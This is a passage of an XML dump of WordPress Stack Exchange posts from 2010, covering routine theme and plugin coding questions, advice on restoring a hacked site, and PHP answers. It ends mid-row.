  <row Id="4185" PostTypeId="2" ParentId="4180" CreationDate="2010-11-17T11:09:40.747" Score="2" ViewCount="" Body="&lt;p&gt;Had you just overwrote site from backup? Not a good way since it may easily leave broken files or even backdoors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is best to erase site completely, then copy clean WordPress archive and copy of your files from backup there. If possible it's best to restore database from pre-hack backup as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If these are not possible I suggest you find someone who handles such cases professionally. There is now way to comprehensively advice on hacking case &quot;in theory&quot;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-17T11:09:40.747" CommentCount="1" />
  <row Id="4186" PostTypeId="2" ParentId="1567" CreationDate="2010-11-17T11:14:14.973" Score="2" ViewCount="" Body="&lt;h2&gt;Automatically adding header images from directory location&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Within the default them which comes with wordpress you will notice an additional theme menu which gets activated that lets you select a header image to be utilized. Within the default theme code these images are hardcoded into the functions.php file. The code below allows wordpress to automatically pick up new images based upon a specific header image directly you can create on your server (or within your themes folder).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will automatically include any .jpg or .jpeg files. Every image must have a associating thumbnail file but this can just be a copy of the original with a different name with a file name that has to end in &quot;-thumbnail&quot;. The associating name is used as the description in the headers appearance settings and underscores are automatically replaced with spaces. (e.g. My_Header_Image_A.jpg, My_Header_Image_A=thumbnail.jpg will have a description automatically presented a “My Header Image A”)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($handle = opendir( TEMPLATEPATH . '/images/headers/') ) {&#xA;    $headers = array();&#xA;    while (false !== ($file = readdir($handle))) {&#xA;        $pos = strrpos( $file, '.' );&#xA;        if( $pos !== false &amp;amp;&amp;amp; $pos &amp;gt; 0 ) {&#xA;            $file_name = substr( $file, 0, $pos );&#xA;            if( strpos( $file_name, &quot;-thumbnail&quot; ) === false ) {&#xA;                $file_ext = substr( $file, $pos+1 );&#xA;                $file_ext_low = strtolower( $file_ext );&#xA;                if( $file_ext_low == &quot;jpg&quot; || $file_ext_low == &quot;jpeg&quot; ) {&#xA;                    $headers[$file_name] = array (&#xA;                    'url' =&amp;gt; '%s/images/headers/' . $file,&#xA;                    'thumbnail_url' =&amp;gt; '%s/images/headers/' . $file_name .&quot;-thumbnail.&quot; . $file_ext,&#xA;                    'description' =&amp;gt; __( str_replace( &quot;_&quot;, &quot; &quot;, $file_name ), 'twentyten' )&#xA;                    );&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;closedir($handle);&#xA;register_default_headers( $headers );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:01:57.670" LastActivityDate="2011-01-26T14:01:57.670" CommunityOwnedDate="2010-11-17T11:14:14.973" />
  <row Id="4187" PostTypeId="1" AcceptedAnswerId="4190" CreationDate="2010-11-17T11:29:45.570" Score="0" ViewCount="671" Body="&lt;p&gt;I've tried everything: &lt;a href=&quot;http://wordpress.org/extend/plugins/peters-login-redirect/&quot; rel=&quot;nofollow&quot;&gt;Peter's Login Redirect&lt;/a&gt;, &lt;a href=&quot;http://urbangiraffe.com/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;Redirection&lt;/a&gt;, some unworking javascript hacks, &lt;a href=&quot;http://dev.horde.org/routes/&quot; rel=&quot;nofollow&quot;&gt;routemap PHP Class&lt;/a&gt; (which is really impressive, but I'm not sure that's very useful in this case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;a href=&quot;http://urbangiraffe.com/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;Theme My Login&lt;/a&gt;, but its redirection settings just wouldn't respond. (Still need it, though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2011-03-11T04:13:34.543" Title="How to redirect after login, the working way?" Tags="&lt;redirect&gt;&lt;login&gt;&lt;buddypress&gt;" AnswerCount="2" />
  <row Id="4188" PostTypeId="2" ParentId="4182" CreationDate="2010-11-17T11:33:04.637" Score="5" ViewCount="" Body="&lt;p&gt;The information about taxonomies is stored in the global &lt;code&gt;$wp_taxonomies&lt;/code&gt; array. If you register a new taxonomy, it is added as an object with different properties, including the labels to use in the UI. The standard tags and categories are also registered there on each page load, with &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/taxonomy.php#L17&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;create_initial_taxonomies()&lt;/code&gt; function&lt;/a&gt; that fires on &lt;code&gt;init&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it is a simple array of objects, we can modify it and see what happens. The properties we are interested in are &lt;code&gt;labels&lt;/code&gt; and &lt;code&gt;label&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpa4182_init');&#xA;function wpa4182_init()&#xA;{&#xA;    global $wp_taxonomies;&#xA;&#xA;    // The list of labels we can modify comes from&#xA;    //  http://codex.wordpress.org/Function_Reference/register_taxonomy&#xA;    //  http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/taxonomy.php#L350&#xA;    $wp_taxonomies['post_tag']-&amp;gt;labels = (object)array(&#xA;        'name' =&amp;gt; 'WPA 4182 Tags',&#xA;        'singular_name' =&amp;gt; 'WPA 4182 Tag',&#xA;        'search_items' =&amp;gt; 'Search WPA 4182 Tags',&#xA;        'popular_items' =&amp;gt; 'Popular WPA 4182 Tags',&#xA;        'all_items' =&amp;gt; 'All WPA 4182 Tags',&#xA;        'parent_item' =&amp;gt; null, // Tags aren't hierarchical&#xA;        'parent_item_colon' =&amp;gt; null,&#xA;        'edit_item' =&amp;gt; 'Edit WPA 4182 Tag',&#xA;        'update_item' =&amp;gt; 'Update WPA 4182 Tag',&#xA;        'add_new_item' =&amp;gt; 'Add new WPA 4182 Tag',&#xA;        'new_item_name' =&amp;gt; 'New WPA 4182 Tag Name',&#xA;        'separate_items_with_commas' =&amp;gt; 'Separata WPA 4182 tags with commas',&#xA;        'add_or_remove_items' =&amp;gt; 'Add or remove WPA 4182 tags',&#xA;        'choose_from_most_used' =&amp;gt; 'Choose from the most used WPA 4182 tags',&#xA;    );&#xA;&#xA;    $wp_taxonomies['post_tag']-&amp;gt;label = 'WPA 4182 Tags';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't checked it everywhere, and you'll probably have to change it in your theme yourself, but this seems to do what you want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/1HZj4.png&quot; alt=&quot;Tag metabox with new labels&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-17T11:33:04.637" CommentCount="2" />
  <row Id="4190" PostTypeId="2" ParentId="4187" CreationDate="2010-11-17T12:41:55.477" Score="3" ViewCount="" Body="&lt;p&gt;You can use the WordPress function wp_redirect() for an solution. When you like an redirect after login or logout, check the plugin Adminimize, this has an option for this requirement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two examples for an redict in a custom plugin or functions.php of the theme:&#xA;the follow example use the var $pagenow!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function fb_redirect_1() {&#xA;    global $pagenow;&#xA;&#xA;    if ( 'plugins.php' === $pagenow ) {&#xA;        if ( function_exists('admin_url') ) {&#xA;            wp_redirect( admin_url('edit-comments.php') );&#xA;        } else {&#xA;            wp_redirect( get_option('siteurl') . '/wp-admin/' . 'edit-comments.php' );&#xA;        }&#xA;    }&#xA;}&#xA;if ( is_admin() )&#xA;    add_action( 'admin_menu', 'fb_redirect_1' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a alternate with $_server, also check the url&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function fb_redirect_2() {&#xA;&#xA;    if ( preg_match('#wp-admin/?(index.php)?$#', $_SERVER['REQUEST_URI']) ) {&#xA;        if ( function_exists('admin_url') ) {&#xA;            wp_redirect( admin_url('edit-comments.php') );&#xA;        } else {&#xA;            wp_redirect( get_option('siteurl') . '/wp-admin/' . 'edit-comments.php' );&#xA;        }&#xA;    }&#xA;}&#xA;if ( is_admin() )&#xA;    add_action( 'admin_menu', 'fb_redirect_2' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-11-17T12:41:55.477" CommentCount="1" />
  <row Id="4191" PostTypeId="1" AcceptedAnswerId="10306" CreationDate="2010-11-17T12:42:00.453" Score="2" ViewCount="564" Body="&lt;p&gt;I would like to be able to grant my editors the power to change the menu, can this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The appearance tab doesn't appear to be an option at all, can I make it so?&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-08-01T18:50:17.797" Title="allow editors to edit menus?" Tags="&lt;roles&gt;" AnswerCount="5" />
  <row Id="4192" PostTypeId="1" AcceptedAnswerId="4194" CreationDate="2010-11-17T12:58:51.233" Score="0" ViewCount="458" Body="&lt;p&gt;I'm sorry for this schoolar question, but I'm totaly confused with search in Wordpress. What is the different beetwen searchpage.php, searchform.php and search.php? Could anybody tell me how it's all work? Thanks.  &lt;/p&gt;&#xA;" OwnerUserId="1301" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-17T13:24:14.003" LastActivityDate="2010-11-17T13:42:14.470" Title="Search in Wordpress - Difference of searchpage.php, searchform.php and search.php?" Tags="&lt;search&gt;" AnswerCount="1" />
  <row Id="4193" PostTypeId="2" ParentId="4191" CreationDate="2010-11-17T13:26:34.347" Score="3" ViewCount="" Body="&lt;p&gt;When I look at the admin menu structure, it seems &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/menu.php#L162&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;nav-menus.php&lt;/code&gt; link is tied to the capability &lt;code&gt;edit_theme_options&lt;/code&gt;&lt;/a&gt;. Can you modify the editor role to include this capability? This would also &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/functions.php#L3055&quot; rel=&quot;nofollow&quot;&gt;give them the option to edit widgets&lt;/a&gt;, I don't know whether this is a problem? All the menu Ajax stuff is restricted by this capability, so just changing the admin menu capability for editing menus will probably not work.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-17T13:26:34.347" />
  <row Id="4194" PostTypeId="2" ParentId="4192" CreationDate="2010-11-17T13:42:14.470" Score="3" ViewCount="" Body="&lt;p&gt;Your question is most likely referring to a specific theme, but I'll answer it for the current default Twenty Ten (Wordpress Theme) as it's well documented. You find it in the &lt;code&gt;wp-content/themes/twentyten&lt;/code&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main search template in there is &lt;code&gt;search.php&lt;/code&gt;. It is the template file to display the search page. Which means either only the search form or when called for a search, the search results as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;searchform.php&lt;/code&gt; is a &lt;em&gt;template part&lt;/em&gt;, so a fragment to hold the search form. The default theme does not ship with it by default, but if it exists it will load it instead of a hardcoded search form. Here is the default search from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form role=&quot;search&quot; method=&quot;get&quot; id=&quot;searchform&quot; action=&quot;' . home_url( '/' ) . '&quot; &amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;s&quot;&amp;gt;' . __('Search for:') . '&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; value=&quot;' . get_search_query() . '&quot; name=&quot;s&quot; id=&quot;s&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; id=&quot;searchsubmit&quot; value=&quot;'. esc_attr__('Search') .'&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is done in the wordpress function &lt;code&gt;get_search_form()&lt;/code&gt; which is part of the core package and used by many themes including Twenty Ten.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;searchpage.php&lt;/code&gt; is something specific to another theme I guess, as it is not used within the default theme and worpdress core. I assume by name, that it's having the same or a similar meaning as &lt;code&gt;search.php&lt;/code&gt; but being specific to some other theme.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-17T13:42:14.470" CommentCount="2" />
  <row Id="4195" PostTypeId="2" ParentId="4180" CreationDate="2010-11-17T14:08:11.410" Score="3" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/FAQ_My_site_was_hacked&quot; rel=&quot;nofollow&quot;&gt;FAQ: My site was hacked « WordPress Codex&lt;/a&gt; and &lt;a href=&quot;http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/&quot; rel=&quot;nofollow&quot;&gt;How to completely clean your hacked wordpress installation&lt;/a&gt; and &lt;a href=&quot;http://ottopress.com/2009/hacked-wordpress-backdoors/&quot; rel=&quot;nofollow&quot;&gt;How to find a backdoor in a hacked WordPress&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress&quot; rel=&quot;nofollow&quot;&gt;Hardening WordPress « WordPress Codex&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2010-11-17T14:08:11.410" CommentCount="1" />
  <row Id="4196" PostTypeId="2" ParentId="4183" CreationDate="2010-11-17T14:14:57.610" Score="1" ViewCount="" Body="&lt;p&gt;You probably want to define a size for post thumbnails for this side-bar area first. This needs to be registered with your theme so you can refer to it later one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can make use of the &lt;code&gt;get_the_post_thumbnail()&lt;/code&gt; function passing the ID of the post as well as your post thumbnail size name as the second argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the last thing you need to know is to get all posts of the category you like to get the thumbnails from. This can be done with a new &lt;code&gt;wp_query&lt;/code&gt; just getting all categories posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you combine this all together.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Example Code&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is some example code to display the thumbnails registered with the &lt;code&gt;sidebar-thumbnail&lt;/code&gt; size. You need to do this generally with your theme, probably in the themes function.php. Please see codex how to do that. This little code takes care to query all thumbnails by category and then inserts a &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; tag after every third thumbnail:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myThumbnailSize = 'sidebar-thumbnail';&#xA;$myCategoryID = 12;&#xA;$myThumbnailsPerRow = 3;&#xA;query_posts('category='.$myCategoryID);&#xA;if (have_posts()) { &#xA;    $count = 0;&#xA;    while (have_posts()) { &#xA;        the_post();&#xA;        echo get_the_post_thumbnail($post-&amp;gt;ID, $myThumbnailSize);&#xA;        if (0 === ++$count % $myThumbnailsPerRow) echo '&amp;lt;br&amp;gt;';&#xA;    }&#xA;}&#xA;wp_reset_query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's sample code so untested, but it probably helps you to get things running. All the functions used in there are documented in worpdress codex btw, so you can learn more about them there.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-17T14:14:57.610" CommentCount="2" />
  <row Id="4197" PostTypeId="1" AcceptedAnswerId="13472" CreationDate="2010-11-17T15:58:44.563" Score="1" ViewCount="619" Body="&lt;p&gt;OK I need to query posts using the following criteria:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;category_name=office,&#xA;meta_key=featured_post,&#xA;meta_value=Yes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and order these results using a second custom field which has a numerical value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;meta_key=prop_order&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following query which pulls the correct posts, but doesn't order them by the second custom field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $recent = new WP_Query(&quot;category_name=office&amp;amp;meta_key=featured_post&amp;amp;meta_value=Yes&amp;amp;posts_per_page=3&amp;amp;orderby=date&amp;amp;order=ASC&quot;); while($recent-&amp;gt;have_posts()) : $recent-&amp;gt;the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However since I'm already using a custom field in the query I can't use orderby=meta_value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the following SQL query on the forums but can't get it working. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA; global $wpdb;&#xA; global $post;&#xA; $querystr = &quot;&#xA;SELECT * FROM $wpdb-&amp;gt;posts&#xA;LEFT JOIN $wpdb-&amp;gt;postmeta AS proporder ON(&#xA;$wpdb-&amp;gt;posts.ID = proporder.post_id&#xA;AND proporder.meta_key = 'prop_order'&#xA;)&#xA;LEFT JOIN $wpdb-&amp;gt;term_relationships ON($wpdb-&amp;gt;posts.ID = $wpdb-&amp;gt;term_relationships.object_id)&#xA;LEFT JOIN $wpdb-&amp;gt;term_taxonomy ON($wpdb-&amp;gt;term_relationships.term_taxonomy_id = $wpdb-&amp;gt;term_taxonomy.term_taxonomy_id)&#xA;WHERE $wpdb-&amp;gt;term_taxonomy.term_id = 3&#xA;AND $wpdb-&amp;gt;term_taxonomy.taxonomy = 'category'&#xA;AND $wpdb-&amp;gt;posts.post_status = 'publish'&#xA;AND $wpdb-&amp;gt;wpostmeta.meta_key = 'featured_post' &#xA;AND $wpdb-&amp;gt;wpostmeta.meta_value = 'Yes' &#xA;ORDER BY proporder.meta_value ASC&#xA; &quot;;&#xA;&#xA; $pageposts = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="912" LastActivityDate="2011-03-30T07:57:00.470" Title="Query posts by category AND custom field, then ORDERBY another custom field - help!" Tags="&lt;3.0&gt;&lt;categories&gt;&lt;custom-field&gt;&lt;query-posts&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" />
  <row Id="4198" PostTypeId="2" ParentId="4197" CreationDate="2010-11-17T17:29:17.180" Score="1" ViewCount="" Body="&lt;p&gt;I ran your query on my local workstation. It looks like there is a typo:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should have $wpdb-&gt;postmeta.meta_value not $wpdb-&gt;wpostmeta.meta_value (used twice).&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2010-11-17T17:29:17.180" />
  <row Id="4199" PostTypeId="2" ParentId="4147" CreationDate="2010-11-17T18:20:42.100" Score="1" ViewCount="" Body="&lt;p&gt;Short version of what Hakre said: :-)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Check &lt;a href=&quot;http://www.semiologic.com&quot; rel=&quot;nofollow&quot;&gt;http://www.semiologic.com&lt;/a&gt; for WP release notes.&lt;/li&gt;&#xA;&lt;li&gt;As a rule, always upgrade your theme and plugins.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'd like to stress the importance of that second point:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;My Version Checker plugin ensures that my theme and plugins are only offered as upgrades when they're compatible with your current version of WP; and&lt;/li&gt;&#xA;&lt;li&gt;I do my best on my end to make sure my theme and plugins with with the latest and the previous versions of WP (i.e. 2.9.x and 3.0.x at the time of writing).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-17T18:20:42.100" />
  <row Id="4200" PostTypeId="1" CreationDate="2010-11-17T20:03:11.507" Score="1" ViewCount="128" Body="&lt;p&gt;I'm use advanced search plugin in my site.&#xA;&lt;a href=&quot;http://www.zirona.com/software/wordpress-advanced-search/&quot; rel=&quot;nofollow&quot;&gt;http://www.zirona.com/software/wordpress-advanced-search/&lt;/a&gt;&#xA;now I'm upgrade site and advanced search not worked! :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;creator plugin not update for wordpress 3&#xA;how to updated this plugin for wordpress 3?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any similar plugin or code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-18T13:17:39.130" LastActivityDate="2010-11-18T13:17:39.130" Title="renew plugin advanced search" Tags="&lt;plugin-recommendation&gt;&lt;search&gt;" AnswerCount="1" />
  <row Id="4201" PostTypeId="1" AcceptedAnswerId="4858" CreationDate="2010-11-17T21:58:53.170" Score="1" ViewCount="1256" Body="&lt;p&gt;I am trying to show a list of posts that are related to category X and tag Y.&#xA;I've tried the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'posts_per_page' =&amp;gt; 4,&#xA;    'tag_id' =&amp;gt; $tag_id,&#xA;    'cat' =&amp;gt; $cat_id,&#xA;);&#xA;query_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it doesn't work correctly and returns all the posts in the co\ategory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would love to hear any insight you might have&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-12-04T18:54:31.957" Title="how to query posts by category and tag?" Tags="&lt;query-posts&gt;&lt;tags&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="1" />
  <row Id="4203" PostTypeId="2" ParentId="4201" CreationDate="2010-11-17T22:43:08.490" Score="-1" ViewCount="" Body="&lt;p&gt;I believe it will work if you remove the offending comma at the end of the array... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   $args = array(&#xA;        'posts_per_page' =&amp;gt; 4,&#xA;        'tag_id' =&amp;gt; $tag_id,&#xA;        'cat' =&amp;gt; $cat_id&#xA;    );&#xA;    query_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1489" LastActivityDate="2010-11-17T22:43:08.490" CommentCount="3" />
  <row Id="4204" PostTypeId="2" ParentId="4200" CreationDate="2010-11-17T23:20:51.450" Score="1" ViewCount="" Body="&lt;p&gt;As you asked you have multiple options. It just depends a bit what you're looking for. So let's see what's in the basket:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Update the Plugin.&lt;/strong&gt; - Either kindly ask the developer of the plugin to do so or do it your own. Often asking the developer is the best bet because he already knows it in and out.You might want to offer some bounty to the developer doing so. I mean if you used it successfully on your site and you like it, consider what's it worth to you. If you're looking for the best place to invest your money, you've found it. Contact the developer of the plugin and discuss the details of the problem. It pays to buy free software. Even I buy free software even I could extend it as well. It's just that you can't do everything on your own and most free software developers are very kind and do fair trades. If you've never done that, try it out. It's worth the experience.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Update the Plugin (2).&lt;/strong&gt; - If for some reason you do not want to contact the original developer or you can not afford it, you need to find someone else who does this. This would be either you or someone else. In any case, as you've used the plugin for so so long, if you get an update going for the current version, be so kind and pass it on to the original developer. If you think that's unfair as everybody else might get it for free, consider to find others who have the same problem like you and organize some funding. That even can be done fast enough and it can produce really cool results. It's not that it happens that often, but networking can be pretty effective.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Switch the Plugin&lt;/strong&gt; - If you're at the end of the road and you couldn't organize to get the plugin updated for some reason you incl. that you don't want to update it on your own (probably it's easy to fix? - I've seen non-developers who updated software that it worked again) then you must take a look for an alternative. Switching a plugin can be easy or can bear a lot of problems. It just depends. For your search plugin I must admit I have no clue. As free software comes with no strings attached, you're not bound to stick with one plugin.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Downgrade your Site&lt;/strong&gt; - A wise man once said ... bla bla :) Okay, here is the deal: Just do not destroy your site by blindly updating to the latest version. Wordpress 2.9 was a pretty good version, and it not only was, it still is. So before you upgrade your site, it's wise to check for compatibility before you update your live site. This can be done by creating a copy of it and updating the copy as a test. Well probably this is as complicated as hacking a plugin, but you can setup a second blog as well and just test for the plugins. That's a first step then. It's not that older software is badier per-se. Normally we not always need the latest and greatest. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think the first two options you can and must decide on your own. For Point four this might be already too late, but wordpress pretty well downgrades as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably asking questions here helps to find others with the same problem. Which could help you in switching the plugin as well. I for myself can only give you these tips but not much more. I can not suggest you an alternative plugin because I don't know nor have I checked it's source why it's not working with 3.0. Normally that would be the first thing I've done, either to report that back to the original author or to just fix it and report it back as well. But you're free in your decision.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-17T23:20:51.450" />
  <row Id="4205" PostTypeId="2" ParentId="4201" CreationDate="2010-11-17T23:23:06.107" Score="0" ViewCount="" Body="&lt;p&gt;See: &lt;a href=&quot;http://wordpress.org/support/topic/query_posts-in-category-with-tag&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/query_posts-in-category-with-tag&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-17T23:23:06.107" />
  <row Id="4206" PostTypeId="2" ParentId="2308" CreationDate="2010-11-17T23:39:40.563" Score="1" ViewCount="" Body="&lt;p&gt;Maybe this is the answer: &lt;a href=&quot;http://mansurovs.com/tech/wordpress-does-not-import-categories-and-tags&quot; rel=&quot;nofollow&quot;&gt;http://mansurovs.com/tech/wordpress-does-not-import-categories-and-tags&lt;/a&gt; (from there) :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure not to delete the original “Hello World!” post that gets automatically created by WordPress. If you have already deleted it, create a new dummy post that you can later delete.&lt;/li&gt;&#xA;&lt;li&gt;Make sure that the WordPress import process is successfully finished.&lt;/li&gt;&#xA;&lt;li&gt;After all posts and pages have been imported, go to “Edit” under “Posts” and edit the “Hello World!” or dummy post.&lt;/li&gt;&#xA;&lt;li&gt;Go through each of the categories and put a checkmark in front of every single category.&lt;/li&gt;&#xA;&lt;li&gt;Save the post.&lt;/li&gt;&#xA;&lt;li&gt;Visit both the “Categories” page in the admin section and the main page and make sure that all categories show up correctly with the correct number of posts attached to them.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-17T23:39:40.563" />
  <row Id="4207" PostTypeId="1" AcceptedAnswerId="4208" CreationDate="2010-11-18T00:54:00.403" Score="0" ViewCount="215" Body="&lt;p&gt;I just discovered this wonderful message board :-) Hopefully someone can help me with a Wordpress issue I can't figure out..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a hook to my plugin file to insert the post id of the immediate posts I publish, in a table named &quot;post_votes&quot; - used to keep track of up &amp;amp; down votes for posts.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function post_votes($post_ID)  { &#xA; $wpdb-&amp;gt;insert( $wpdb-&amp;gt;prefix . 'post_votes', array( 'post_id' =&amp;gt; $post_ID ) );&#xA;    return $post_ID;&#xA;}&#xA;&#xA;add_action ( 'publish_post', 'post_votes' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so the code above should add a post id in the post_id row (in post_votes table).. however I get, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to a member function&#xA;  insert() on a non-object&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;for &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;insert( $wpdb-&amp;gt;prefix . 'post_votes', array( 'post_id' =&amp;gt; $post_ID ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1613" LastActivityDate="2010-11-18T01:08:57.643" Title="INSERT in table row fatal error" Tags="&lt;query-posts&gt;&lt;hooks&gt;&lt;database&gt;" AnswerCount="1" />
  <row Id="4208" PostTypeId="2" ParentId="4207" CreationDate="2010-11-18T01:08:57.643" Score="2" ViewCount="" Body="&lt;p&gt;This is more or less a programming question. $wpdb is not available everywhere. It's a global variable. If you want to use it inside your own functions, just add &lt;code&gt;global $wpdb;&lt;/code&gt; at the first line of the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For general programming questions, this might be another discovery for you: &lt;a href=&quot;http://stackoverflow.com/&quot;&gt;stackoverflow.com&lt;/a&gt;,it is about programming in specific. Regardless being PHP (as with wordpress plugins) or javascript stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for your wordpress problem, here is the code in full:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function post_votes($post_ID)  { &#xA; global $wpdb;&#xA; $wpdb-&amp;gt;insert( $wpdb-&amp;gt;prefix . 'post_votes', array( 'post_id' =&amp;gt; $post_ID ) );&#xA;    return 